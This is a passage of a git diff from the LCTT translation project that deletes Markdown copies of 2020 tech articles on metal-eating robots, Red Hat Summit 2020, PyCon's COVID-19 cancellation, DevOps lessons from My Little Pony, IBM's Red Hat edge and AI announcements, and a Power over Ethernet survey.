weight, as one does by adding bulky batteries. - -The answer, according to the University of Pennsylvania researchers, is to try to electromechanically forage for energy from the metal surfaces that a robot or IoT device traverses, thus converting material garnered, using a chemical reaction, into power. - -"Robots and electronics [would] extract energy from large volumes of energy dense material without having to carry the material on-board," the researchers say in a paper they've published in [ACS Energy Letters][2]. - -It would be like "eating metal, breaking down its chemical bonds for energy like humans do with food." Batteries work by repeatedly breaking and creating chemical bonds. - -The research references the dichotomy between computing and power storage. Computing is well suited to miniaturization, and processers have been progressively reduced in size while performance has increased, but battery storage hasn't. You need a bigger battery for more energy. - -Even if swarming, industrial robots became the size of insects (I've [written about][3] the possibility), there's an issue powering the nano devices – the required size of the power source would defeat the object of the miniaturization. The battery alone could crush the device, and even if it didn't, the machine would need excessive amounts of energy to move, because of the battery mass. This conundrum is one of the reasons there's an emphasis in IoT development to find ways to harvest energy ambiently. - -However, with ambient power – such as is found in [solar or potentially magnetism][4], for example – power density comes into play. That's where the harvesting technology can't pull enough energy out of the environment, or it does it so slowly that it's not as power-effective as traditional batteries. - -Enter the metal-eating robot. The University of Pennsylvania researchers' form of harvesting efficiently replicates a power-dense battery. Metal is more dense than the battery chemistry. - -The group performs their foraging energy production with a hydrogel electrolyte sponge towed by the robot. It uses a cathode, dragged over the surface, to extract amperages from the metal fuel source, such as steel or aluminum. - -"Our [metal-air scavenger] has a power density that's ten times better than the best harvesters, to the point that we can compete against batteries," said James Pikul, an assistant professor in the University of Pennsylvania's Department of Mechanical Engineering and Applied Mechanics and one of the paper authors, in the Medium post. "It's using battery chemistry, but doesn't have the associated weight, because it's taking those chemicals from the environment." - -This method is also potentially better than existing lithium-ion battery chemistry, according to Pikul. - -"One day, a robot that needs to recharge its batteries will just need to find some aluminum to 'eat,'" Pikul said. - -The robot, although ultimately likely to be a better worker than the human, is a messy eater. As it oxidizes the metal it passes over, it leaves a "microscopic layer of rust in its wake," according to the article. - -Join the Network World communities on [Facebook][5] and [LinkedIn][6] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3540194/industrial-robots-could-eat-metal-to-power-themselves.html - -作者:[Patrick Nelson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Patrick-Nelson/ -[b]: https://github.com/lujun9972 -[1]: https://medium.com/penn-engineering/penn-engineerings-new-scavenger-technology-allows-robots-to-eat-metal-for-energy-bd12f3b83893 -[2]: https://pubs.acs.org/doi/10.1021/acsenergylett.9b02661 -[3]: https://www.networkworld.com/article/3429200/self-organizing-micro-robots-may-soon-swarm-the-industrial-iot.html -[4]: https://www.networkworld.com/article/3536697/harvesting-ambient-energy-will-power-iot-scientists-say.html -[5]: https://www.facebook.com/NetworkWorld/ -[6]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200501 Red Hat Summit 2020 virtual experience.md b/sources/talk/20200501 Red Hat Summit 2020 virtual experience.md deleted file mode 100644 index 334c52c1f9..0000000000 --- a/sources/talk/20200501 Red Hat Summit 2020 virtual experience.md +++ /dev/null @@ -1,64 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Red Hat Summit 2020 virtual experience) -[#]: via: (https://www.networkworld.com/article/3541289/red-hat-summit-2020-virtual-experience.html) -[#]: author: (Sandra Henry-Stocker https://www.networkworld.com/author/Sandra-Henry_Stocker/) - -Red Hat Summit 2020 virtual experience -====== - -[Virginiambe][1] [(CC BY-SA 3.0)][2] - -In the last couple days, Red Hat was able to demonstrate that an online technical conference can succeed. The Summit, normally held in Boston or San Francisco, was held online thanks to the Covid-19 pandemic still gripping the world. - -The fact that 80,000 people attended the online event warrants a huge applause. By comparison, last year’s in-person conference broke the record with only 8,900 attendees. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][3] - -### **Being “there”** - -The experience of attending the conference was in many ways what you would expect when attending a large conference in person. There were keynotes, general sessions and breakout sessions. There were many opportunities to ask questions. And it was often difficult but necessary to choose between parallel sessions. I attended both days and was very impressed. - -I also enjoyed some nostalgia about how we’ve all arrived at the places we are today with respect to Linux. It was clear that many attendees were overwhelmed by the progress that has been made just since last year. Linux, and [RHEL][4] in particular, is becoming more innovative, more clever in the ways that it can detect and respond to problems and yet in some important ways easier to manage because of the way the tools have evolved. - -Announcements at the conference included Red Hat OpenShift 4.4, OpenShift virtualization and Red Hat Advanced Container Management for Kubernetes. - -What was novel about attending a technical conference online was that we didn’t have to leave our home or office and that we could review sessions that we missed by selecting them later from the session layout pages. In fact, the sessions are still online and may well be for the coming year. If you didn’t participate in Red Hat Summit 2020, you can still sign up and you can still watch the sessions at your convenience. Just go to the [summit site][5]. And, did I mention, that it's free? - -### Catching up - -Once you’re signed up, you can click on the Watch and Learn at the top of the page and choose General Sessions or Sessions and Labs. The presentations will now all be labeled On Demand though they once displayed upcoming time slots. The individuals presenting information are excellent and the material is exciting. Even if you’re not working with Red Hat Enterprise Linux, you will learn a lot about Linux in general and how open source has evolved over the decades and is still evolving in important and critical ways. - -Topics covered at the conference include OpenShift, open hybrid cloud, future technologies, robotics and automation, advances on the edge and the power of open source. Red Hat Summit also includes joint sessions with both Red Hat and technology collaborators such as Ford, Verizon, Intel, Microsoft and Credit Suisse. - -### What’s next? - -Watching the conference online at a time when I can't leave my home was informative, but also encouraging and comforting. Linux has been an important part of my life for decades. It felt good to be connected to the larger community and to sense the currents of progress through my desktop system. - -While there’s no way to know at this point whether future Red Hat Summits or other Linux conferences will be held or made available online, the fact that Red Hat Summit 2020 was available online when so many of us are still huddled up at home wondering when our world will reopen was a testament not just to great technology but to the deep-seated conviction that it is critical that we work together and that open source can make that happen in ways that nothing else can. - -Join the Network World communities on [Facebook][6] and [LinkedIn][7] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3541289/red-hat-summit-2020-virtual-experience.html - -作者:[Sandra Henry-Stocker][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Sandra-Henry_Stocker/ -[b]: https://github.com/lujun9972 -[1]: https://commons.wikimedia.org/wiki/File:Red_hat_with_bow2.JPG -[2]: https://creativecommons.org/licenses/by-sa/3.0/legalcode -[3]: https://www.networkworld.com/newsletters/signup.html -[4]: https://www.networkworld.com/article/3540189/red-hat-enterprise-linux-82-hits-the-stage.html -[5]: https://www.redhat.com/summit -[6]: https://www.facebook.com/NetworkWorld/ -[7]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200502 The real impact of canceling PyCon due to COVID-19.md b/sources/talk/20200502 The real impact of canceling PyCon due to COVID-19.md deleted file mode 100644 index aebbbf28c4..0000000000 --- a/sources/talk/20200502 The real impact of canceling PyCon due to COVID-19.md +++ /dev/null @@ -1,129 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The real impact of canceling PyCon due to COVID-19) -[#]: via: (https://opensource.com/article/20/5/pycon-covid-19) -[#]: author: (Matthew Broberg https://opensource.com/users/mbbroberg) - -The real impact of canceling PyCon due to COVID-19 -====== -An interview with Ewa Jodlowska on how the Python Software Foundation is -responding to the cancelation of in-person events. -![A dollar sign in a network][1] - -The Python Software Foundation (PSF) had to [cancel its popular PyCon US][2] event in response to COVID-19. I interviewed [Ewa Jodlowska][3], Executive Director of the PSF, to talk about the experience and see what we all can learn, and how we can be supportive of the non-profit that supports one of my favorite programming languages. - -### The impact on PSF employees - -I asked Jodlowska "how have you had to adjust your work in light of COVID-19?" - -In her response, the day-to-day didn't sound like much of a change. PSF staff "have always worked remotely." The organization practices a [fully remote work][4] culture and doesn’t have an office. The small staff of seven employees is well versed in collaborating outside of an office. - -Familiarity aside, the emotional impact of needing to cancel an event they put a year’s worth of planning into hurt. - -> **"We all believe in what we do. Which is particularly why we’re such a great small team. So it really impacted us emotionally and mentally. And it continues to."** - -We spoke about how the team is reliving what the days would have looked like if PyCon wasn't interrupted by COVID-19–keynotes would start _now_, the sponsor booths would be in full motion right _now_–and just how emotionally taxing it all was. Throughout the discussion, Jodlowska always came back to recognizing the staff for their resiliency and energy to pivot the event online. - -### The cascading impact of event cancellation - -Jodlowska has been incredibly transparent about the experience. In her March 31st [article on the financial outcome][5], she outlines it clearly: the Python Software Foundation would take a hit from the event cancelation.  - -Jodlowska notes that part of the challenge is that PyCon accounts for too much of the organization’s financial health. About 63% of the 2020 revenue was projected to come from the show. While that number is down from the [2017 estimate of 80%][6], it’s still a concern when in-person events will remain limited to keep attendees safe during the COVID-19 outbreak. - -> **"We don’t want to rely on one event**–**or events in general**–**to operate and provide community support."** - -The PSF board of directors is hard at work to look into the diversification of funding. In the meantime, PyCon remains essential to sustainability running the organization. - -### Community support makes all the difference - -It's at this point that Jodlowska again recognizes the incredible work of the PSF staff. They quickly pivoted the vision of the event, and the community of attendees, sponsors, and speakers were all supportive of the move. - -> **"[We] have been brought to tears many times by the generosity of our sponsors and our individual donors."** - -Jodlowska noted that the generosity of so many resulted in reducing the financial impact on the PSF. An incredible amount of Individual attendees are donating their registration costs to the PSF. They are also showing up across social media sites to participate in their own distributed virtual experience of PyCon.  - -Another important part of the community, the corporate sponsors of the show, are also showing up to support the non-profit. Many sponsors had already canceled physical presence at the show before the event was officially moved online. Some of them were kind enough, as Jodlowska noted, to donate the cost of sponsorship to the PSF. In a huge turn of events, the list of sponsors **grew** as the online event came together. - -> **[M]any sponsors have opted into participating in PyCon 2020 online. Because of this we have decreased the amount needed from our reserve by 77%! The PSF will now only need $141,713 from its financial reserve to get through 2020.** - -For more on the data side, see Jodlowska’s article _[Thank you to donors & sponsors][7]_. - -Support in all its forms led to the conference feeling like it is well on its way. Some sponsors are even moving to a virtual booth experience. - -> Since our sponsors can’t be with you in person, we’ve created a place to provide their content online - . [#PyCon2020][8] Gold Sponsor Weekly Python Exercise shared this video to introduce you to their offerings: . -> -> — PyCon US (@pycon) [April 18, 2020][9] - -Maybe most impressively, many speakers and tutorial instructors made the effort of recording their sessions. That’s helped PyCon to [gradually unfold online][10] with incredible educational content. The audience is still able to interact as well: YouTube comments are open for moderation so speakers can interact with their audience. - -Lastly, there remains an army of volunteers who shifted their in-person plans online and continue to help in any way possible. - -### Some of the surprising positives from this difficult change - -While it is without a doubt a challenging time for the organization, Jodlowska noted a number of positives that are unfolding due to this move to virtual. - -To start, the staff of the PSF “have never been closer,” as they bond over the experience and spend more time getting to know each other through weekly video calls and baking competitions. - -Jodlowska was inspired to get involved in another open source effort, [FOSS responders][11], who are helping organizations respond to the cancelation of events due to COVID-19. (If you’ve been affected as well, they are there to help.) - -The generosity mentioned above is a silver lining to the experience and encouraging to the hardworking team that uplifts the popular Python programming language. - -There is also a broader impact on participation in PyCon. While the final numbers are not in yet, an international audience has access to all of PyCon as it unfolds, which gives the entire world a chance to be part of an excellent event [I got to attend][12] last year. On the development side, Jodlowska mentioned that the [core-dev team][13] that maintains Python, who would normally meet in person, shifted to a virtual meeting. As a result of that shift, some participants got to attend that otherwise would not have had the opportunity to join in person. - -### How you can help the Python Software Foundation - -I reached out to Jodlowska because I am impressed with and supportive of their mission to support the Python community. If you want to support them as well, you have options: - - * Become a [free or supporting member][14] of the PSF to get involved in our future. - * [Sign up for the PSF’s free newsletter][15] to stay up to date. - * [Donate][16] directly to the PSF (and thank you to those that already have). - * Ask your employer to [sponsor the PSF][17]. - * Ask your employer if they match donations to 501(c)(3) non-profits, and ask for your donations to the PSF to be matched. - - - -Last but not least, participate in PyCon over the next few weeks. You can learn from all kinds of smart people on a range of topics like [Matt Harrison][18]’s [Hands-on Python for Programmers][19] that guides attendees through analyzing COVID-19 data to [Katie McLaughlin][20]’s thoughtful talk on [What is deployment, anyway?][21] - -Be sure to [review the full][10] list and engage with the amazing lineup of speakers. - -* * * - -_Are you part of a non-profit looking to connect with your open source community at this time of social distancing? Let me know at matt @ opensource.com._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/5/pycon-covid-19 - -作者:[Matthew Broberg][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mbbroberg -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/osdc_whitehurst_money.png?itok=ls-SOzM0 (A dollar sign in a network) -[2]: https://pycon.blogspot.com/2020/03/pycon-us-2020-in-pittsburgh.html -[3]: https://www.python.org/psf/records/staff/ -[4]: https://opensource.com/tags/wfh -[5]: http://pyfound.blogspot.com/2020/03/psfs-projected-2020-financial-outcome.html -[6]: https://www.youtube.com/watch?v=79AIzbjLzdk -[7]: http://pyfound.blogspot.com/2020/04/thank-you-to-donors-sponsors.html -[8]: https://twitter.com/hashtag/PyCon2020?src=hash&ref_src=twsrc%5Etfw -[9]: https://twitter.com/pycon/status/1251563142641000455?ref_src=twsrc%5Etfw -[10]: https://us.pycon.org/2020/online/ -[11]: https://fossresponders.com/ -[12]: https://opensource.com/article/19/5/jupyterlab-python-developers-magic -[13]: https://devguide.python.org/coredev/ -[14]: https://www.python.org/psf/membership/ -[15]: https://www.python.org/psf/newsletter/ -[16]: https://www.python.org/psf/donations/ -[17]: https://www.python.org/psf/sponsorship/ -[18]: https://us.pycon.org/2020/speaker/profile/454/ -[19]: https://youtu.be/fuJcSNUMrW0 -[20]: https://opensource.com/users/glasnt -[21]: https://youtu.be/8vstov3Y7uE diff --git a/sources/talk/20200505 11 DevOps lessons from My Little Pony.md b/sources/talk/20200505 11 DevOps lessons from My Little Pony.md deleted file mode 100644 index f550f871a1..0000000000 --- a/sources/talk/20200505 11 DevOps lessons from My Little Pony.md +++ /dev/null @@ -1,96 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (11 DevOps lessons from My Little Pony) -[#]: via: (https://opensource.com/article/20/5/devops-lessons) -[#]: author: (Moshe Zadka https://opensource.com/users/moshez) - -11 DevOps lessons from My Little Pony -====== -What you never thought you could learn about DevOps for Twilight Sparkle -and her friends. -![My Little Pony][1] - -In 2010, the My Little Pony franchise was rebooted with the animated show _My Little Pony: Friendship is Magic_. The combination of accessibility to children with the sophisticated themes the show tackled garnered a following that cut across ages. I was swept up in the wave and discovered there is a lot to learn about DevOps from the show. - -### Discovering technical debt - -The show begins with Twilight Sparkle reading obscure documentation, only to realize that Equestria, where the show is set, is due to suffer a calamity. Though someone named Nightmare Moon has been imprisoned for a thousand years, there is a prophecy she will return. - -#### Lesson 1: Technical debt matters. - -Nightmare Moon is a perfect stand-in for technical debt. Document it. Pay attention to the signs of risk no matter how infrequently they occur. Have a plan to resolve it. - -Twilight Sparkle goes to her manager with the news, only to be told that it is not a current priority. She is sent to Ponyville to prepare for the coming celebration, instead. - -#### Lesson 2: Communication with management is key. - -Twilight Sparkle communicated her priority (the risk of technical debt) but did not convince her management that it was more important than the celebration (of the next release or a new customer). - -We all need to make clear what the business case is for resolving critical issues. It is also not straightforward to explain technical debt in business terms. If management does not agree on the severity, find new ways to communicate the risk, and team up with others who speak that language. - -### When technical debt becomes an outage - -As the prophecy has foreseen, Nightmare Moon returns and declares eternal night. (In this DevOps story, this marks the beginning of a catastrophic outage.) Twilight quickly understands that she cannot resolve the issue by herself, and she recruits the ponies who will become, with her, the "Mane Six." They each stand for a different element of harmony—Applejack stands for Honesty, Fluttershy for Kindness, Pinkie Pie for Laughter, Rarity for Generosity, Rainbow Dash for Loyalty, and Twilight Sparkle herself for Magic. This team-building is full of lessons: - -#### Lesson 3: Few are the issues that can be resolved by one person. - -When facing an outage, reach out to other people with complementary skills who can help you. It is best if they are different than you: different backgrounds leads to differing perspectives, and that can lead to better problem-solving. - -#### Lesson 4: When resolving an outage, honest communication is key. - -Throughout the struggle against the eternal night, the Mane Six have to speak openly and honestly about what's not working. Their [blameless communication][2] is part of problem-solving. - -#### Lesson 5: When resolving an outage, kindness to yourself and to others is crucial. - -Though tempers flare hot in the land of Equestria, we all benefit from coming back to working together. - -#### Lesson 6: Laughter is important. - -Even when everything comes crashing down, remember to take a break, drink a glass of water, and take a deep breath. Stressing out does not help anything. - -#### Lesson 7: Be generous. - -Even if you are not on-call right now, if your help is needed to resolve a problem, help out as you hope your colleagues will do for you. - -#### Lesson 8: Be loyal. - -An outage is not a time to settle rivalries between teams. Focus on how to collaborate and resolve the outage as a team. - -#### Lesson 9: Though people skills are important, you have to understand the technology on a deep level. - -Keep your skills sharp. Expertise is not only the ability to learn; it is knowing when that information is needed. Part of being an expert is practice. - -### Growing into a culture of continual improvement - -After the issue is resolved, Princess Celestia realizes that the Mane Six are crucial to the long-term survival of Equestria, and tells Twilight Sparkle to stay in Ponyville and keep researching the magic of friendship. - -#### Lesson 10: After an outage is resolved, conduct a review, take concrete lessons, and act on them. - -I could go on, episode by episode, detailing lessons relevant for DevOps, but I will wrap up with one of my favorite ones. In the "Winter Wrap-Up" episode, all the ponies in Ponyville help in preparing for the spring. As per tradition, they do not use magic, leaving Twilight Sparkle to wonder how she can contribute. Eventually, she realizes that she can help by making a checklist to make sure everything is done in the right order. - -#### Lesson 11: When automation is impossible or inadvisable, write a solid checklist, and follow it. Do not depend on your memory. - -Twilight Sparkle and the Mane Six overcome great obstacles as a team, and now have a system to improve as a team. - -### A story of DevOps - -This story reflects how many organizations slowly adopt DevOps. The transition from recognizing a fear of technical debt toward addressing it is not simple. With courageous leadership, teamwork, and a willingness to improve, all organizations can come out on the other side with a similar story to Twilight Sparkle and her friends. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/5/devops-lessons - -作者:[Moshe Zadka][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/moshez -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/my-little-pony.jpg?itok=X-rwAGuE (My Little Pony) -[2]: https://opensource.com/article/19/4/psychology-behind-blameless-retrospective diff --git a/sources/talk/20200506 IBM rolls Red Hat into edge, AI, hybrid-cloud expansion.md b/sources/talk/20200506 IBM rolls Red Hat into edge, AI, hybrid-cloud expansion.md deleted file mode 100644 index ef7d152e55..0000000000 --- a/sources/talk/20200506 IBM rolls Red Hat into edge, AI, hybrid-cloud expansion.md +++ /dev/null @@ -1,78 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (IBM rolls Red Hat into edge, AI, hybrid-cloud expansion) -[#]: via: (https://www.networkworld.com/article/3542409/ibm-rolls-red-hat-into-edge-ai-hybrid-cloud-expansion.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -IBM rolls Red Hat into edge, AI, hybrid-cloud expansion -====== -Every company will be an AI company new IBM CEO Krishna tells Think! virtual gathering -Getty - -Deeply assimilating its Red Hat technology, IBM this week rolled out a set of new platforms and services designed to help customers manage edge-based application workloads and exploit artificial intelligence for infrastructure resiliency. - -The announcements came at IBM’s virtualized Think! 2020 event that also featured the first Big Blue keynote by [the company's new CEO Arvind Krishna][1], during which he told the online audience about challenges of COVID-19: "History will look back on this as the moment when the digital transformation of business and society suddenly accelerated,” but also that [hybrid cloud and AI][2] are the two dominant forces driving digital transformation. - -[Now see how AI can boost data-center availability and efficiency][3] - -“More than 20 years ago, experts predicted every company would become an internet company. I am predicting today that every company will become an AI company, not because they can, but because they must,” he said. - -With that idea in mind the company rolled out [IBM Watson AIOps][4], an application that uses AI to automate how enterprises detect, diagnose and respond to IT anomalies in real time. Watson AIOps works by grouping log anomalies and alerts based on spatial and temporal reasoning as well as similarity to past situations, IBM said. It uses IBM’s natural language processing technology to understand the content in trouble tickets to identify and extract resolution actions automatically. - -Then it provides a pointer to where the problem is and identifies other services that might be affected.  “It does this by showing details of the problem based on data from existing tools in the environment, all in the context of the application topology, distilling multiple signals into a succinct report” and eliminating the need for multiple dashboards, IBM stated. - -AI can automate tasks like shifting traffic from one router to another, freeing up space on a drive, or restarting an application. AI systems can also be trained to self-correct, IBM stated. - -“The problem is that many businesses are consumed with fixing problems after they occur, instead of preventing them before they happen. Watson AIOps relies on AI to solve and automate how enterprises self-detect, diagnose and respond to anomalies in real time,” Krishna said. - -AIOps is built on the latest release of Red Hat OpenShift, supports Slack and Box, and can be integrated with IT-monitoring packages from Mattermost and ServiceNow, IBM stated.  - -The Kubernetes-based OpenShift Container Platform lets enterprise customers deploy and manage containers on their infrastructure of choice, be it private or public clouds, including AWS, Microsoft Azure, Google Cloud Platform, Alibaba and IBM Cloud.  It also integrates with IBM prepackaged Cloud Paks, which include a secured Kubernetes container and containerized IBM middleware designed to let customers quickly spin-up enterprise-ready containers. - -OpenShift is also the underlying package for a new version of its [edge network][5] management application called IBM Edge Application Manager. Based on the open source project [Open Horizon][6], the Edge Application Manager can use AI and analytics to help deploy and manage up to 10,000 edge nodes simultaneously by a single administrator. With the platform customers can remotely add new capabilities to a single-purpose device or automatically direct a device to use a variety of cloud-based resources depending on what resources it needs.   - -Cisco said it was working with the IBM Edge Application Manager to deploy apps and analytics models that run on a broad range of Cisco products, such as servers, its industrial portfolio of gateways, routers, switches, SD-WAN, and wireless-connectivity offerings for edge computing.  - -“As an example, IBM Edge Application Manager leverages [Cisco HyperFlex Edge][7] and Cisco IC3000 Industrial Compute Gateway servers. The HyperFlex Edge and IC3K platforms are specifically designed to support a number of edge use cases, such as optimizing traffic management, increasing manufacturing productivity, and increasing the safety of oil and gas pipelines,” Cisco [stated][8]. - -In addition, Cisco said it has used the capabilities in IBM Edge Application Manager to build an “Edge in a Box proposal,” where customers can deploy remote edge applications that run entirely disconnected from public or private clouds but are also synchronized and managed remotely in controlled connectivity windows. For instance, client edge locations may need to operate in disconnected mode but have the ability to synch up for automated application updates and data exchanges, Cisco stated. - -Other edge-related announcements include: - - * IBM [Edge Ecosystem][9], a group of industry players who will target open technology developments to let customers move data and applications between private data centers, hybrid multicloud environments and the edge. The group includes Cisco, Juniper, Samsung and NVIDIA among others. IBM said a Telco Network Cloud Ecosystem will serve a similar function for their network cloud platforms. - * A preview of an upcoming service, called IBM Cloud Satellite. This will extend IBM’s public-cloud service to give customers the ability to use IBM Cloud anywhere – on-premises, in data centers or at the edge – delivered as a service that can be managed from a single pane of glass controlled through the public cloud. It lets customers run applications where it makes sense while utilizing cloud security and ops benefits, IBM stated. Satellite runs on Red Hat OpenShift. - * Telco Network Cloud Manager – a telco/service provider offering that runs  on Red Hat OpenShift to deliver intelligent automation capabilities to orchestrate virtual and container network functions in minutes. Service providers will have the ability to manage workloads on both Red Hat OpenShift and Red Hat OpenStack platforms, which will be critical as telcos increasingly look to modernize their networks for greater agility and efficiency, and to provide new services as 5G adoption expands, IBM stated. - * New capabilities for some of its Cloud Paks including extending the Cloud Pak for Data to include the ability to better automate planning, budgeting and forecasting in [hybrid-cloud][10] environments. IBM upgraded tools for business routing and data capture to the Cloud Pak for Automation as well. - - - -Join the Network World communities on [Facebook][11] and [LinkedIn][12] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3542409/ibm-rolls-red-hat-into-edge-ai-hybrid-cloud-expansion.html - -作者:[Michael Cooney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3536654/ibm-taps-new-leaders-for-hybrid-cloud-battles-ahead.html -[2]: https://www.infoworld.com/article/3541825/ibms-new-ceo-lays-out-his-roadmap.html -[3]: https://www.networkworld.com/article/3274654/ai-boosts-data-center-availability-efficiency.html -[4]: https://www.ibm.com/watson/assets/duo/pdf/WDDE814_IBM_Watson_AIOps_Web.pdf -[5]: https://www.networkworld.com/article/3224893/what-is-edge-computing-and-how-it-s-changing-the-network.html -[6]: https://developer.ibm.com/blogs/open-horizon-joins-linux-foundation-grow-open-edge-computing-platform/ -[7]: https://www.cisco.com/c/en/us/products/hyperconverged-infrastructure/index.html?dtid=oblgzzz001087 -[8]: https://blogs.cisco.com/partner/cisco-and-ibm-teaming-at-the-edge -[9]: https://www.ibm.com/blogs/business-partners/join-the-edge-ecosystem/ -[10]: https://www.networkworld.com/article/3268448/what-is-hybrid-cloud-really-and-whats-the-best-strategy.html -[11]: https://www.facebook.com/NetworkWorld/ -[12]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200514 Ethernet Alliance study finds Power over Ethernet issues.md b/sources/talk/20200514 Ethernet Alliance study finds Power over Ethernet issues.md deleted file mode 100644 index 983c11dac6..0000000000 --- a/sources/talk/20200514 Ethernet Alliance study finds Power over Ethernet issues.md +++ /dev/null @@ -1,67 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Ethernet Alliance study finds Power over Ethernet issues) -[#]: via: (https://www.networkworld.com/article/3543258/ethernet-alliance-study-finds-power-over-ethernet-issues.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -Ethernet Alliance study finds Power over Ethernet issues -====== -Reliability, connection issues, failure to deliver power traced to interoperability issues with Power over Ethernet. -Martyn Williams/IDGNS - -Four out five users experience challenges with power over Ethernet (PoE) deployments, according to a new survey of nearly 800 Ethernet designers, manufacturers, resellers, system integrators, network operators and others. - -Conducted by the Ethernet Alliance in January, the study  found a number of key PoE insights, including: - - * Four out of five users experienced issues, including support, reliability, or connection challenges. - * The top three PoE installations are cameras and phones, as well as computing and storage devices; - * Of customers planning to implement PoE 63% said they would need 30w; 47% would need between 30-60w and 27% need greater than 60w. - - - -**[ Now see [7 free network tools you must have][1]. ]** - -With the global market projected to grow to $2 billion by 2025, PoE remains a wellspring of lucrative opportunities for designers, systems integrators, and solutions providers, David Tremblay, chair of the alliance's PoE Subcommittee, and system architect for Aruba, said in a statement. “Despite this good news, there are significant challenges that could threaten PoE’s growing adoption.” - -According to the survey those chief PoE challenges include, vendor support, unreliable power or operation, long repair times, and first-time connection issues. - -The Alliance reported that while 78% of respondents experienced difficulties with PoE deployments, 72% expect improvement with products certified through the Ethernet Alliance’s [PoE Certification Program][2]. The study found 84% said they expect certified PoE devices would be more likely to work the first time, and 85% expect those devices to be more reliable. - -“Lacking a registered trademark, the use of the term ‘PoE’ is not formally regulated, allowing any vendor to freely describe products and solutions as PoE-enabled. Additionally, terminologies such as ‘PoE+’, as well as non-standard PoE implementations are causing confusion with device interoperability among technicians, designers, and end users,” the Alliance stated. - -[Experts say][3] the single greatest challenge for PoE  is assuring interoperability.  Multivendor interoperability is Ethernet’s hallmark and it's an important consideration for consumers who want to know the gear will just work, while industry players need a way to find new partnership opportunities with companies offering certified equipment, the Dell’Oro Group said. - -“With the diversity of application, come interoperability problems which dictate the need for testing and certification,” said Sameh Boujelbene, Senior Research Director for Ethernet Switch market research at Dell’Oro. - -Certified Ethernet Alliance products range from component level Ethernet evaluation boards, to power-sourcing equipment, enterprise switches, and adapters. - -Ultimately the Ethernet Alliance’s Power over Ethernet (PoE) Certification Program is the place customers should look to enable faster PoE installations with zero interoperability issues, Tremblay said. - -A number of key Ethernet vendors including Cisco, Hewlett Packard Enterprise, Huawei, Analog Devices, Texas Instruments, Microsemi and others are part of the certification program. - -Details about certified products are available via the [program’s public registry][4]. - -Join the Network World communities on [Facebook][5] and [LinkedIn][6] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3543258/ethernet-alliance-study-finds-power-over-ethernet-issues.html - -作者:[Michael Cooney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/2825879/7-free-open-source-network-monitoring-tools.html -[2]: https://nam05.safelinks.protection.outlook.com/?url=https%3A%2F%2Fbit.ly%2FEA_PoECertification&data=02%7C01%7C%7Ca67fc55074c748affa8408d7f74fc98e%7C3aedb78fc8e04326888a74230d1978ff%7C0%7C0%7C637249794373724526&sdata=2QDd6oO2Yu6EiCj6m7i%2BtbVJD1wHxmNwtDr2oMe9TgQ%3D&reserved=0 -[3]: https://www.networkworld.com/article/2328615/the-power-over-ethernet.html -[4]: https://ea-poe-cert.iol.unh.edu/?utm_source=General%20Distribution&utm_medium=Press%20Release&utm_campaign=October%20PoE%20Certification%20Press%20Release -[5]: https://www.facebook.com/NetworkWorld/ -[6]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200525 